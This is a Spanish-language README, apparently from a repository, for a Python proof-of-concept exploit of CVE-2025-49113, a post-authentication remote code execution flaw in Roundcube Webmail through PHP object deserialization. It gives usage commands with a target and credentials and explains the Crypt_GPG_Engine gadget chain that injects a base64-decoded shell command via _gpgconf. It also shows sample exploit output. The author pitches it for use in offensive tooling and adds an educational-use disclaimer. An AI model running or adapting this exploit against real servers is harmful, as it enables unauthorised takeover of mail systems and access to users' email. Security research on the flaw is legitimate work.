
💥 Exploit en Python para CVE-2025-49113 | RCE en Roundcube Webmail mediante inyección de objetos PHP
ID de CVE: CVE-2025-49113
Tipo de Exploit: Ejecución Remota de Código (mediante Inyección de Objetos PHP)
Aplicación: Roundcube Webmail ≤ 1.5.9 y ≤ 1.6.10
Lenguaje del Exploit: Python
Autor: 00xCanelo
Estado: Probado y Funcionando en Instalaciones Vulnerables de Roundcube
Este exploit aprovecha una vulnerabilidad en la forma en que Roundcube Webmail maneja los nombres de archivos de imágenes subidos, los cuales se deserializan como objetos PHP. Al crear un payload malicioso que activa una cadena de deserialización Crypt_GPG_Engine, se puede lograr la ejecución remota de comandos post-autenticación.
Este PoC en Python imita la cadena de ataque utilizada por el exploit público en PHP, pero con una lógica más limpia, registro opcional y facilidad de uso en configuraciones de herramientas ofensivas.
pip install requestspython3 CVE-2025-49113.py <target_url> <username> <password> <command>
python3 CVE-2025-49113.py https://mail.target.htb/ [email protected] 'P@ssw0rd123' 'id'
La clase PHP Crypt_GPG_Engine permite establecer un campo _gpgconf, que luego se pasa a la ejecución del shell. Nuestro payload construye:
echo "<base64-encoded-cmd>" | base64 -d | sh
en _gpgconf, lo que conduce a RCE tras la deserialización.
[*] Starting CVE-2025-49113 exploit...
[*] Checking Roundcube version...
[*] Detected Roundcube version: 10606
[+] Target is vulnerable!
[*] Logging in...
[+] Login successful.
[*] Uploading serialized gadget as image filename...
[+] Gadget uploaded successfully!
.
├── CVE-2025-49113.py # Script PoC en Python
└── README.md # Esta documentación
Este código es únicamente para fines de pruebas de seguridad educativas y autorizadas. Cualquier uso indebido de esta herramienta está estrictamente prohibido. El autor no se responsabiliza por ningún daño causado.